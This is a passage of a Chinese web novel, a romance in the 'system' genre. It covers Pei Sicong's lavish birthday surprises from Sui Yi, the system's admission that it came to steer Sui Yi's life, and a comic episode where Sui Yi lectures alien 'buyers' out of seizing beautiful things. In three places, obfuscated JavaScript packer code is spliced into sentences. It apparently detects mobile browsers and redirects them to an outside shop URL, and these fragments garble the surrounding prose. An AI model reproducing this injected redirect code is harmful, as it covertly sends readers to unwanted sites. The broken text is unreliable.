遂意走后，裴思炵就难耐地轻轻抠了抠相框的边边，不断在内心告诫自己要忍住。 他一整天都不住地瞥向那个还是秘密的相框，实在难忍了就把它抱到怀里，轻轻地叹气。 等到晚上，甚至还要抱着它睡觉。 也就是他睡姿端正，一整晚都没怎么动弹，没压到或者磕碰到相框。 算他识相。 盯了他一天一夜，准备发现不对就告状的系统不甘心地想。 飞机落地。 裴思炵仍端着他的宝贝相框，方便遂意一把揭开蒙着它的布。 “噔噔。”伴随着遂意的人工音效，裴思炵看清了相框里的东西。 “你画了我们？！”裴思炵克制地轻轻触碰了下相框的玻璃，想要细细描摹，又怕一不小心弄坏。 他担心地问：“做过处理了吗？会不会有小虫子咬它？” “放心啦，防潮防腐防脱色防虫害都做了。”遂意拍拍他的肩膀示意他放轻松。 “这还是你第一次画我。”裴思炵垂下眼，神情柔软地端详着这幅画。 “这不是以前都画不好，最近才比较满意自己的人物画嘛。” 因为母亲的工作性质，遂意认真学过一段时间的绘画。当时的老师甚至建议她走艺考路线，但遂意不愿意因为集训离开裴思炵，这事儿就不了了之了。 后来因为得奖保送以及她对画画的热情渐淡，她的母亲甚至不知道她专门去学过画画。 “早点睡觉哦。明天一早我就来祝你生日快乐了。”遂意打了个哈欠，就回房间呼呼睡去了。 而裴思炵却兴奋得怎么也睡不着，不是为了明天的惊喜，而是每次被遂意送生日礼物他都会被震荡得情绪翻涌，久久不能平息。 可心脏还是那样跳着，那样平稳地跳着。 裴思炵有点生气。 但一看到相框，他的眼睛又弯了起来。 遂意一直能为他创造惊喜，再想到她创作时的心情，她想着自己，裴思炵就更开心了。 * 一整片花海，一望无际的三色堇。 裴思炵阳台上的和这个比起来，简直是小巫见大巫。 怪不得她说首都没有地方种花，原来这“地方”是这么个回事啊。那真是不止要万两金了，闹出这动静，该被官方请喝茶了。 系统暗暗咂舌。 裴思炵眼睛亮亮地看着花海，然后被遂意牵住走在花间的小路上，来到一个彩色玻璃亭子前。 “里面放着的就是惊喜啦，昨天提醒过你的。”遂意轻轻地推了把裴思炵，示意他向前推开玻璃门。 “嗯？” 遂意笑：“你是不是光顾着看人了。昨天我看你一眼都没多瞧画上的三色堇和远处的那个小亭子。” “我注意到了的，我昨晚又仔细看了几遍。”裴思炵小声辩驳。 系统听到这翻了个白眼：什么多看几眼，我看他是一夜没合眼 “嗯，我知道，快开门吧。”遂意就是逗逗他，没想到他连这个都要那么认真地解释。 裴思炵抿抿唇，越靠近反而心越不安稳，这股近乎媲美于近乡情怯的心情，让他的步伐越放越缓。 一幅将近等宽于双开玻璃门的油画，裴思炵要仰望才能看清全貌。 是在三色堇丛中的他。 依旧是想象的场景。 只要心里升起“遂意在想象我”这个念头，裴思炵就控制不住地血液沸腾、浑身震颤。 没有比这更好的礼物，没有比这更好的礼物。 裴思炵回身紧紧地抱住遂意。 遂意笑着摸摸他的头：“怎么了？喜欢吗？” “嗯，喜欢，很喜欢。”裴思炵埋在遂意的颈窝处，近乎喟叹般说出这句话。 “那要和它一起住一晚吗？” 裴思炵抬头，眸光闪烁地看她：“可以吗？” 遂意挑眉：“当然，我设计这个亭子设计了好久的。” 说着她就去拨弄了几处开关，瞬间，稍显空旷的玻璃亭子就变得生活化起来。 “不过这个亭子没走水电，只有几盏使用移动电源的台灯。” “不走水电好，水汽会伤害到裸露的画的。”裴思炵心疼地轻抚了下画框，这幅巨画仅仅靠着画框支撑，没有任何保护。 “放心吧，托运回国之前会让人做保护处理的。” “托运？哪个航司？”裴思炵对航司的人不是很信任，毕竟再细致也不会比得上他自己的。 说完他就后悔了，这不是在提醒遂意找航司托运吗？ 他马上改口祈求道：“我们带着它吧，我去借父亲的私人飞机，我们带着它走吧。好不好？” 遂意摸了摸下巴，思索道：“也行。” 她还有个大件要送，托运起来挺麻烦的，光包装就得好一顿忙。 “那要出去玩吗，还是待在这？附近有个小屋，我让人打理过，不想回酒店也可以在这洗漱。” “我想多看看这里。” “那我去牵马。” “你准备了马？”裴思炵惊讶地看向遂意。 “是索利亚和赞达，我们养的小马长大了。”遂意冲裴思炵帅气一笑，摆摆手就走了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674494|188680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 裴思炵大步向前牵住她。 遂意疑惑：“我还以为你会想多看看画。” “画一直在，现在我想和你一起。”裴思炵眼神炽热地凝视着遂意。 遂意觉得好笑，明明那天晚上她都及时止住话了，还要讨回来。 真幼稚啊，裴思炵。 她反手扣住裴思炵的手：“我也一直在。” 裴思炵终于又印证了她还是那个遂意，那个会因为太满意自己的杰作而意气风发的遂意，那个会说“我们一直这样走下去吧”的遂意。 愁苦和忧伤，拜托一定要离遂意远远的。 将这样的遂意永远留在我身边。 谁也不要抢走她。 裴思炵允许自己在今天自私，这是他的生日，这一整天都是他的礼物，那么纵容自己的想法也可以是他的礼物。 关于一整天都是他的礼物这件事，确实是存在的。 遂意通常会把这一天编排得很丰富来庆祝他的生日，所以关于系统对他们“年年这么折腾吗”的这个疑问。 回答为，是也不是。 其实这只是遂意带裴思炵体验更多乐趣的一场游戏，编排这场游戏是要花一些时间的，所以说“折腾”也过得去。但游戏嘛，不就是玩，哪有什么折不折腾的。 上午在花海里悠闲地骑马，下午乘坐直升飞机俯瞰花海以及这座城市，晚上是有关三色堇的无人机秀，收尾是无人机在异国他乡排列出“裴思炵生日快乐”的中文字样。 模样看起来甚至是休闲类游戏。 一点被累到的风险都没有。 至于怎么找人侍弄这一片花海，又怎么将马儿们运来，怎么搭建那个玻璃亭子，怎么申请飞行航线，怎么和无人机团队沟通……这在常人看来非常折腾的一切，都是遂意创作的过程。 那个过程或许在常人眼里是折腾，但遂意确实是兴高采烈、志得意满地享受着的。 “好玩吗？”他们在高塔之上，将这座城市尽收眼底的最佳视角，但遂意却转头来看他。 晚风一直在拨弄她的头发，同时也扰乱着裴思炵的心。 “好玩。” 裴思炵注视着遂意，眼底像盈着一湾秋水，有着动人的潋滟暖色。他克制又难耐地回她，仅仅用目光触碰她。 遂意做这一切，为的就是此刻的眼波流转。她不可自抑地靠近了裴思炵，伸手轻轻触碰他的眼角，等意识到自己在做什么的时候，再受惊似的缩回手。 她蹙眉，不解地看看裴思炵，又看看自己的手，她觉得自己心潮起伏到了不可理喻的地步。 是因为他们已经长大了，不该再随便碰来碰去了吗？可这比起牵手和拥抱，似乎是再小不过的简单触碰了…… 为什么心脏会跳得这样快呢？ 她有很多想法有很多苦恼，但再等等吧，今天可是裴思炵的生日呢！ 她甩甩头，笑着拉起裴思炵的手：“走吧，该吃蛋糕和开礼物啦！” “还有礼物？”裴思炵来不及惊讶就被遂意扯着跑起来了。 “还没到零点呢，我怎么可能会已经送完了礼物，不过就剩一些小玩意啦。” 定制的三色堇永生花、一块奢牌定制手表，表盘刻划着简单的三色堇线条、手工编织的三色堇花边圆毯，拎起中心可以变成一捧花、一个大花瓶里插着一束瓷制三色堇，自然也都是她亲手做的。 遂意哼着生日歌，陪裴思炵在这个堆满礼物的彩色玻璃亭子里度过了零点。 “请裴思炵一直开心，不止今天。” 13. 周四不更 「妈妈：宝贝暑假怎么过呀？」 「意意宝贝：先和裴思炵去一趟克洛斯安。」 「妈妈：［转账］请收款（转账说明：玩得开心哟宝贝）」 「意意宝贝：［转账］已退还」 「意意宝贝：妈妈我卡里还有钱。」 「妈妈：那我先去忙啦（亲亲emoji）」 遂意刚准备放下手机就收到了银行到账信息，两百万。 她扶额，十倍，早知道就收刚刚的了。 【你怎么不开心呢？收了钱应该都是会开心的吧。】 遂意敷衍道：【开心啊，我怎么不开心了。】 【看你给裴思炵过生日，也不是很节俭那种人啊……】系统挠头。 遂意扔了手机，瘫在沙发上，没再回话。 这种说来话长又想起来头疼的事，就没必要和系统说了。 她如果不主动花钱，等到年末遂女士会一并清算给她的——具体表现在给她乱花钱，什么珠宝首饰什么豪车别墅都堆给她。 她的小马就是遂女士给置办的，要价高昂，但养在特区她其实一年也不会去见它几回，完全属于没必要的支出。 而且马术课太累了，在学校体验了两节，都没等托运她的小马提上日程，遂意就放弃了。 她知道遂女士很忙，忙到要用大量的金钱证明“宝贝其实我很爱你”，可她不需要这种证明，也从来不觉得被亏欠。 但只要遂意一有提起这个的想法，遂女士就会敏锐地察觉到并用眼泪来打败她，活像裴思炵…… 裴思炵？！ 诶？ 遂意撅起来。 等等，明明是裴思炵学会了他遂阿姨的招数吧。 怪不得最近总是一副要哭不哭的样子。 完全是又被人拿捏住啦～ 遂意软绵绵地倒伏下来，对这件事竟然已经能视若无睹起来，可见当软柿子当着当着也是会产生自我认同的。 可怕得很呐。 如果系统能知道它的宿主在想什么一定会赞同她的。可怕到倒头就睡了，啧啧。 【遂意……】系统犹豫地起了个头。 裴思炵已经习惯它的突然出现了，只要没等到实质性问题他就会继续做自己的事，懒得和这个大概只是AI的工具寒暄。 见裴思炵不接话茬系统也不生气，它迟疑地问：【遂意的妈妈很有钱？】 裴思炵一顿：【嗯。】 系统不说话了。 裴思炵不知道它在纠结什么，但它既然突然问这个，那说明今早遂意应该和遂阿姨有过接触。 【首都的房价你不清楚么？】 【清楚，但我只以为是一般有钱，没想到这么有钱……】 裴思炵略一思索道：【你见过我们的马，你知道它们要多少钱吗？】 【多少？】系统愣愣地问。 裴思炵身体放松，往后倚了倚，用笔点了点设计稿，淡淡地说：【也不贵，就几百万。虽然是纯血马，但因为买的时候是小马驹，所以价格很可观。不过它放在特区训练，每个赛季几乎都要花个百万上下吧。】 系统咂舌：【那今早遂意妈妈给她的只够那头马花两个赛季？！】 两百万么。 裴思炵松了口气，知道答案后他就敷衍很多了：【这个费用是在遂阿姨账上划的。】 【她、她为什么不开心呢？】系统有点难过地问。 今早和她妈妈交流的时候，遂意状态明显不对。 【谁？】裴思炵眉头微皱。 【遂意啊。】 裴思炵眉头虽然依旧折着一道，但反驳了系统：【那不是难过。】 【啊？】 裴思炵叹了口气，知道这话是势必得聊下去了，他松了笔，靠在椅背上，慢慢地说：【不是所有情绪都只分好和坏，开心和难过。如果非要说，那种情绪应该叫复杂，我也不能完全明白。】 【那、那她和她妈妈不好吗？】 【人和人的关系也不能单纯地分好坏，她和她妈妈的关系也很复杂。】 【也？】 裴思炵没什么好隐瞒的：【我和我的母亲也是。】 系统感觉自己变得皱巴巴的，像一个一直拧眉，直到定格成型再也无法松开眉头的人类：【人类为什么是这样的呢？】 【是啊，人类为什么是这样的。】裴思炵交叉双手放在脑后，眼神平淡地将视线投注在某处。 【我可能知道为什么遂意会变成这样了……】 【哦？】裴思炵挑眉。 系统知道自己说漏嘴了，但它也不恼，反正这个任务已经极大程度上地不受约束了，说说也没什么。 【我来这里是因为遂意的人生轨迹出错了。】 裴思炵目光一凝，放下手，端坐问：【你说什么？】 【帮她改变就是为了尽量将偏移的轨迹修正回来。】 裴思炵皱眉，语气有点重：【她该是怎么样的？】 系统并没有听出里面的怒气，只单纯以为这是疑问：【就、独立大女主吧，我也不太懂，总之就是什么家里的栋梁？凭一己之力在商场风云中杀出一条血路，位高权重、雷厉风行那样的。嗯，大概就这样，因为童年创伤然后越挫越勇，坚韧不拔，攒着一股气不断往上爬，带妈妈过上了更好的生活这样吧。】 裴思炵气笑了。 系统根本没听出他是在反问。 凭什么有人能定义遂意？凭什么敢？就算不是人也不可以。 他冷声道：【如果你想要把她‘纠正’到这样一条路上，我不会再配合你。】 系统知道他会生气，毕竟遂意现在走的这条路太顺了，逼她上进反而是在走‘弯路’。 它只是没想到遂意的妈妈那么争气，争气到几乎走了遂意本该走的那条路，硬生生把遂意的前路铲平再铺上康庄大道。 或许遂家的女孩骨子里流的就是这样能支撑一整个家庭，肩负家人命运的血吧。 它跟他说这些，只是想要解释为什么它知道了遂意会是现在的遂意——因为她的妈妈。 【我没有想要‘纠正’她，我的上级也无意于此。只是因为信息差，我们以为她过得很不好。她本来应该是人上人，当然了，现在我们知道，她站在她妈妈肩上，也确实是人上人了。】 裴思炵眼神冰冷：【你们根本就不了解她，她不会觉得自己是人上人，毕生的追求也不可能会是成为人上人。】 【是，做这个决定的都不是人，我们确实不了解人类，我们只能靠数据推理，评判她的人生是不是成功的。如果不是，就要来引导她走上成功的路。基于对这个世界的分析，由于女性意识觉醒，主体性的高度要求，我们将遂意的情况评定为不成功。但很显然她……】 裴思炵不耐地打断它：【没有人会用‘成功’这个定义束缚她，希望你们最好也不要。】 【嗯。所以我告诉你，我将情况反映给上级后任务状态待定了，选择权交还给你们。但主体性不也确实是一个好东西么？不然你不会费尽心思配合我、挽留我的。】系统任务状态解除，装傻模式就自动随之而散了。 裴思炵抿唇：【你今天来找我说这些，是想要达成什么目的。】 【我是遂意的系统，我来这里从来只有一重目的——为她好。但我从她那观测到的行为让我分析不出有利的下一步举措，所以我会来找你。通过你来了解她，再反推出她的需求。】 【你为什么会想继续任务？】裴思炵还是有些不信任。 【最简单来说是工资，但说这个你肯定不信，毕竟这个任务执行至今实在是吃力不讨好。那我就要说一个你从来都不信的东西，我不是AI，我有主体性。我被选来做遂意的系统，那是因为我与她最为契合，共情这一项也在评定‘契合’的范畴里。我会被选中，那就说明我也发自内心地希望她好。】 见裴思炵还是不为所动，系统又说了一些以他的角度会觉得合理的东西：【她真诚又热情，聪颖又善良，是我的核心代码认为最美的东西。如果任务是让美绽放，我甘之如饴。】 这么一说裴思炵果然松动了，他肯定道：【你很有眼光。】 系统：……这就被说动了吗？男人 合着它之前说那么多都是废话呗，还不如夸遂意一句。 这是什么求职现场吗？说一大堆职业规划、行业前景也不如夸一句这公司又大又好我甘心奉献？ 【所以你来问遂阿姨的情况，是想对任务做什么调整吗？】裴思炵主动问。 【是，毕竟她这么有钱。关于激发她的斗志和野心这方面就可以暂且免了。你上次问黄油饼干机器人那个任务是不是太过了，如果只是要激发她的主体性，做高敏感脱敏训练，并且让她摆脱社恐，能够正常社交，确实有点过了。所以这次……】 关于任务的探讨一直持续到深夜，中间的午晚饭裴思炵都是一边和系统交谈，一边确认遂意的情况再据此做任务细化的，可以说工程量相当的大。 【那好亲亲，就这么定了哦，我去协商专员委派的事喽～】 裴思炵嘴角抽搐：【怎么又变回这样了。】 裴思炵：高效的系统，你回来好吗？好的① 【因为我把任务状态勾选回正在执行了呢，接下来直到任务结束都只能这样了哦。】 【你们上级是对高效的工作状态过敏吗？】裴思炵忍不住质疑道。 【不是的呢。我本来也是针对你们这一类人做出的自适应设计呢，谁知道会有意外发生，不然装傻也是一种提高和聪明人合作效率的办法呢～】 裴思炵头痛地揉揉太阳穴：【好了，你走吧，我不太能面对这样的你。】 【好的呢亲亲，晚安哦。】 * “哇，这边凉快好多。”一下飞机遂意就感慨道。 “嗯。以后避暑可以考虑到这来。” “我记得这里好像还有我的房产，不知道理财团队用它干嘛了。”说着遂意就掏出手机开始跟人沟通。 “是期末考后他们向你做了季度工作汇报吗？” 遂意点头：“不过很粗略，只有大体的方向和财务报表。” 裴思炵了然：“吃干饭的。” 遂意笑：“怎么这样说啊……嗯，是闲置的，我们可以搬进去住。” 裴思炵手插进口袋，再次幽幽开口肯定道：“吃干饭的。” “是我那点资产也没什么可施展的余地吧。你最近股票玩得怎么样？” 他们刚刚随便找了个餐馆吃饭，裴思炵试着蒯了一勺不明糊状物放到嘴里，然后果断做了个制止的手势。 “嗯？”遂意拿着勺子的手停在半空中。 “等他们收拾好房子，我做饭给你吃，”裴思炵面色不佳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他是在稀少的情感中额外附加了对母亲付出生育代价的愧疚，但这份愧疚由他的父亲与他共同承担，所以就又稀释了一遍。 但遂意不同，她和她母亲的情感是庞大的，愧疚是双向的，还没有多一个人分担的。甚至，还要把“爱”这个最复杂的元素掺杂在里面，所以就造就了那样纠缠的亲子关系，那才真叫剪不断，理还乱。② 他们坐在餐馆里，零零碎碎地聊了许多。毕竟来都来了，干脆就在这等人收拾好房子再回去。 平日繁忙的生活里，其实他们也很少有这么大段的时间用来话闲。 不过每隔一段时间他们还是会抽出时间认真聊聊的，因为人不是一成不变的，他们都需要了解更新的对方，这样一段关系才会持久。 如果某天裴思炵发现自己不知道遂意最近想吃什么了，他就知道要完蛋了。 当然，现在他也觉得很完蛋。 这些白人调料怎么用啊？ 上次他在酒店，因为只做了面，用到的调料很少，就比较顺利。 在家做白人饭，他用的大多还是中式调料。 裴思炵突然很怀疑自己的厨艺，上次遂意竟然能在异国他乡做出那么美味的饺子，平时根本就是在让着他的吧？ 是吧？ “嗯？”见裴思炵幽怨地盯着自己，遂意好奇地走过去看他，“怎么了？” “怎么办哦。”裴思炵学着遂意平时的口吻说道。 “怎么突然撒娇欸？”遂意也想学他，但鉴于身高差，不太好拍他的头，就只能退而求其次，拍拍他的肩膀。 “你上次做饺子是怎么办的？”裴思炵让出身，给遂意看这一大摞调料。 遂意一看就知道了，裴思炵会做饭是学一道会一道，不会融会贯通，在搞题海战术呢。 她眯眯眼，全能的裴思炵出现了弱点吗？太可爱了。 接下来就是她洋洋洒洒的烹饪基本法啦。 譬如中餐中用姜大多是为了去腥，那西餐用来去腥的一般就是丁香和柠檬汁，那么这下你就掌握了丁香和柠檬汁的用法…… “当然了，如果去华人超市的话，是可以买到做中餐的调料、诶呦。”遂意捂着脑袋，不满地看向敲了她脑门的裴思炵。 “你说这么多才到重点，不饿吗？” “本来就是你啊，怎么想着用西餐调料做中餐啊，自己没想到还赖我。”遂意手动达成物理·指指点点。 裴思炵抓住她的手指：“那你做饺子也是专门去买了中餐调料？” “对啊。” 遂意抽回自己的手指，朝裴思炵撇撇嘴，然后跑开大声说：“裴思炵，小气鬼！” 裴思炵见她这样，提步向前，等吓得遂意跑远了，才弯着眼睛将头往前探，说：“你也可以来敲我的脑门。” “哼，我才没你那么幼稚！” 为了尽快填饱那个淘气鬼的肚子，裴思炵最后还是做了西餐。 等吃过饭，就要开始痛苦地商议拯救世界事宜了。 【啊——不要不要，可不可以缓一缓啊。】 系统正气道：【拯救世界刻不容缓！】 【所以这次世界又出了什么问题？】 竟然还能挑着她考完期末的时候，实在是贴心。 【一群天外来客正等着购买商品，请及时阻止这群疯狂的买家！】 14. 弗洛伊德 “哇——” 遂意忍不住低呼出声。 好美。 难以用言语描述的美。 像菱形的曼陀罗风铃，但是外形更尖锐。而色彩激烈到像在弥散，又冲淡了锐利感，只让人直观地感受到美。 简直就是弗洛伊德。 瑰丽的玫红色，在夜幕中散发着光，是具有攻击性的生命力。 【它们怎么了吗？】遂意回神问系统。 【你听，直视它们，看着它们每一环运动的轨迹。】 遂意照做。刚刚明明没有任何声音的，但等看清了它们的运动轨迹，周遭就渐渐吵闹起来了。 “好美好美好美，这个也好美，这个也要这个也要，这个是我的。” “我的我的是我的，好美好美好美。” …… 【听到了吧，被它们认为美的就会被它们理所应当占据的。这里是旧城区，人口不多，我设法让人类安睡了。但等到天亮之前还不能解决的话，事情就大了。】 【听到了，但怎么跟它们沟通呢？】遂意用力地眨眨眼，才从一阵眩晕中逃离出来。 太具有魅惑性的美，会让人忍不住沉迷和顺从。 【你能听到它们是因为你看到它们了，同理，你也只需要让它们‘看到’你。】 说起来简单，实际上它们那么夺目，看到它们轻而易举。而被它们看到的只会是它们认为美的。 这群家伙看起来完全没把人类放在眼里啊。 【等等，那卫星和监控会看到它们的吧。】 【它们的波频人类目前的仪器是检测不到的。】 一直四散在周围的曼陀罗风铃们——遂意暂且这么称呼它们——突然聚拢了。 系统肃声道：【它们开始了。】 遂意看着它们瞬间就“吞掉”了阁楼的一角，而自己小小的一个在地面上，事情突发时只能定定地仰望着它们。 到此刻，她还是不敢相信，拯救世界的重任真就落在了她的肩上。 但事到如今也只能硬着头皮上了。 【你怎么保证我的安全？】遂意一边飞身攀住楼房的管道借力向上，一边问系统。 【你肯定没事啊，它们又不觉得人好看……等等，你这飞檐走壁的干嘛呢？！】系统看着遂意的动作惊叫。 这任务没攻击性，但她也得小心点别被自己玩死了吧？ 【那就好。】遂意回后就再没和系统说话，只沉着脸不住往上。 要靠得更近才行，不然这么小它们怎么看得见。 等到了离曼陀罗风铃们最近的建筑顶上，遂意掏出口袋里装的合色棱镜以及手电筒，手电筒对准合色棱镜一照，瞬间，一大片异彩吸引了它们。 “我要我要我要，给我给我给我。” “好美好美好美，我的我的我的。” 遂意轻笑，成功了。 她要吸引它们，还要带它们离开这里，一直照着合色棱镜就不可能了。 她一边伸手敏捷地在楼房间穿梭，一边往身上套各种宝石装饰，还把闪光灯和成串的合色棱镜别在身上。 随着身体的运动，还有松塔撞击的声音传来。 遂意也不知道它们想要什么，当时问系统，它只说它们喜欢美的。 外形美还是声音美，是怎样一种美，它们对美的定义又是什么，遂意不得而知。 所以她只能尽量多准备。 虽然直到现在也还没能和它们沟通上，但如果根据相似性吸引效应，它们可能会对光、浓烈的色彩以及“波光粼粼”的声音有更大的认同感。 它们“吞掉”的楼阁上有圆形彩色玻璃窗或许也能印证这一点。 应该是察觉到无法和遂意身上那堆一直在逃离它们视线的死物沟通，又没法轻松将其据为己有，它们才开始试着和遂意“说话”。 “给我呀给我呀给我呀，好美好美好美。” “都是我的都是我的，给我给我给我。” 遂意一个趔趄，差点栽倒。那些用人耳听不到的“声音”太具有迷惑性了。 怪不得说是“买家”，但看上什么都只会侵占，是因为笃定谁都会同意的吧。 她甩甩头，终于到她放置东西的小推车那了。 遂意一把抄起小推车上的花，单手捧着，回头朝它们说：“来呀，跟着我，还有更多更美的。” 看见她手里的那捧花，曼陀罗风铃们运动得更加激烈起来。 连声音都开始变得尖锐。 “好美好美好美，给我给我给我！” “我的我的我的，别走别走别走！” 不远处，是开着载满鲜花的货车的裴思炵。 遂意手一松，那捧鲜花落地，瞬间被围过来的曼陀罗风铃们蚕食殆尽。 遂意趁着这个关口，利落跃身上车，关门。 “我们走吧。” “嗯。”裴思炵见她坐好了立马松手刹，踩油门。 这片地方有个大型商场，因为在建成后不久这里的人口就大量流失了，没有商户入驻，自然而然就废弃了。 他们在里面准备了很多东西，但以曼陀罗风铃们的速度，估计只能撑一会儿。 还是得想到根治的办法才行啊。 等曼陀罗风铃们一窝蜂地涌过来，遂意已经想好对策了。 “你们知道什么是美吗？美是和谐的、自然的、艺术的，你们所知的美实在是太单调、太扁平了！” “什么什么什么？” “美美美？” “告诉我告诉我告诉我。” 系统：是、是也对天外生物PUA上了吗？恐怖如斯！ 遂意从人文主义思潮讲到人们个性解放、追求幸福而诞生的美学作品——突破宗教束缚的诗歌的思想美，大胆独创的画作的精神美。 又从围着篝火、舞姿热情奔放的人们的生命美，再到身上银饰、衣服图案所蕴含的文化美。 一路讲到有关社会主义的理想之美、集体之美、劳动之美、以人民为中心之美。 遂意（一脸正气）：没有人会觉得社会主义不美！天外来客也不例外 系统（嘴角抽搐）：这人还说自己不是党员，我看着红得很啊 彻底说服了这群曼陀罗风铃们，让它们相信法律的秩序之美是会厌弃它们随意掠夺东西的。 它们当即就回去把阁楼的一角吐出来了。 背弃美的事，它们实在无法做到！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674496|188680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遂意看着恢复如初的房屋，控制着自己尽量不露出大惊小怪的表情，她严肃道：“没错，不拿群众一针一线①才是美！” “不拿群众一针一线！” “不拿群众一针一线！” 曼陀罗风铃们附和着。 接下来又是一阵讲解。 什么探索之美、开拓之美、创造之美齐上阵。 最后再以“更广阔的美尽在数理化”收尾。 还真把这群家伙哄得晕头转向。 “美、美要靠自己创造。” “美要靠自己探索。” “没错！你们要到更广阔的宇宙中寻找美，找到简洁、深刻、普适的真理，要像E=mc^2一样美。然后再为人民做贡献，达成集体之美、以人民为中心之美、社会主义之美！”遂意的声音越来越激昂。 系统：……你还真指望这群没有脑袋的去当爱因斯坦？ 不管了，总之事情又被解决了。 系统咂巴咂巴嘴，总觉得不得劲。 那正常人，是这么处理事情的吗？ 它去问裴思炵，裴思炵反问：【我们的目的没达到吗？】 【啊、啊，也达到了吧……】系统犹疑着说。 【那不就行了。】裴思炵淡声回后继续搬花。 这里面很大一部分是玫瑰，其中又以弗洛伊德为主。 遂意见到那群天外来客的第一眼，就让他带花过来，说它们像弗洛伊德，说不定会喜欢。 结果除了放在推车里的那捧花，他们没有任何损失。 裴思炵在里面挑了些花，配成一束，就把其他的花交给当地的花卉协会了——就是现在他们不上班，得等明早才会有人来。 遂意记得前几年某个花卉协会做过“应急玫瑰”②的策划，主要是想要呼吁人们勇敢爱、表达爱。 不知道这次，那些花又会被怎么运用。 遂意头枕在手臂上，小腿伸出露台的围栏外轻轻晃悠着，静静地望向黑夜深处。 “还不睡吗？”裴思炵拿着那束花进来。 遂意接过花，轻嗅了两下，然后笑着说：“裴思炵，你有大事瞒着我。” 裴思炵走过去，和她并排坐下，再慢悠悠地转头看遂意：“是啊。” 遂意把花放在一旁，依旧把头枕在围栏上，她似呓语般轻喃：“下一次，我就会知道了……” 裴思炵目光轻柔地注视着她。 不用等下次的，你想知道的话，问我就好了。 可是为什么不问呢？ 就连我配的花都不夸一夸吗？ 遂意，你在想什么？ 可以让我知道吗？ 当然不能。 因为遂意自己也不知道，她睡着了，正等着裴思炵将她转运至床上。也就是裴思炵在她才敢随意大小睡的。 裴思炵和遂意是淡定上了，系统可就急疯了。 【知道什么了知道？她知道了什么？！既然瞒着她了就不要停啊喂！你知不知道自己在说什么？裴思炵——】 系统在和裴思炵的聊天频道里乱叫了几声，都没得到回应。再加上现在这宁静祥和的氛围，更是让它觉得诡异。 系统：暴风雨前的宁静！（破音） 15. 关于不朽 那晚的对话内容遂意和裴思炵都默契地没有再提，这可苦了系统。 【你问问她呀，你问问她到底知道了什么呀。】 为此甚至不惜试图向裴思炵撒娇—— 未果。 裴思炵没理它，转头就问了遂意另一个问题：“要在这待一阵子吗？” 遂意思索片刻，答：“那就玩几天吧，来都来了。” 然后就插上了新的游戏卡带，往沙发背上一倚，安逸地玩起了游戏。 系统：……来都来了，那就在这过完一个游戏再走是吗？遂意你这家伙（扶额苦笑.JPG） “好，那我就订一周后的飞机票了。我换一个换乘地可以吗？” 听到一周后遂意顿了一下，但马上就自然地点头：“可以啊，没问题的。” 遂意的生日和裴思炵的隔得不远，一周后就差不多到了。 也不知道在忙什么呢，要去别的地方…… 遂意等裴思炵进了厨房就转头偷看他，心里嘀嘀咕咕。 其实她的生日礼物很好猜，因为每一个阶段她都有比较固定的爱好。 对化学感兴趣的时候就送稀有元素，对番剧感兴趣的时候就带她去圣地巡游外加送各种手办，对画画感兴趣的时候就送颜料、各种笔以及名家大作。 有段时间遂意对“龙”这个元素非常沉迷，东西方研究了个遍。 裴思炵就送了她一堆“巨龙的宝藏”。 是一座金币山，还有一些珠宝首饰点缀——都是定制的迷你款，里面的金币样式是几个西方国家流行过的或是裴思炵自己设计的。 总之就是常见的西方龙守着的宝藏，里头甚至有一顶冠冕，极力坐实西方恶龙的形象。 至于东方龙，那就比较新颖了。 裴思炵送了一柄剑，剑上有龙纹。他怕送别的犯忌讳，但剑总不会有问题，放家里还能辟邪——裴思炵甚至找了人来算放在哪个方位好。 那次遂意才知道，强如裴思炵，也搞封建迷信。 实际上，封建迷信，裴思炵已经搞了好多年了。 或许是太在意，让裴思炵将作为落难者的心情与遂意这个幸存者进行置换，那种微妙的与物伤其类近似的情绪，让他害怕，害怕有一天所谓的“慧极必伤”也在遂意身上应验。 他简直无法想象遂意如果出意外，他会怎样。 他赖以生存的、融为骨血的、他的世界，如果坍塌，那会怎样。 所以求神拜佛的事他没少做，佛寺塑金身、道观捐神像，都有他的一份。 每年遂意过生日，他还要以她的名义做慈善。只是希望上帝能看在这点微不足道但也确实让世界更美好了一点的功劳的份上，让遂意这一年依旧能顺遂如意。 他做到这个份上，是真的把遂意的命运看作自己肩上的担子来看的。 如果遂意出意外他真的会怨怪自己，是不是哪次一步一叩首有片刻失神，导致神明以为他不敬，报应在了遂意身上。 幸好，以遂意生日为周期的一年就快过去了，没有任何意外发生，上帝依旧眷顾着他。 * “绿地蕴氧？！”遂意惊喜地攥紧了裴思炵的手。 “绿地蕴氧”是遂意在游戏《赛费的荒原重生》中打出的雨林成就名称，遂意非常喜欢她创造的那片雨林，时常调画面出来观赏。 而现在，他们就身处一片雨林的外围。 “这是我找到最像的了。”裴思炵点头肯定，但还是有一丝不易察觉的失落。 遂意开心地摇摇裴思炵的手，安慰他：“很像很像了啊，我很喜欢这个生日礼物。” 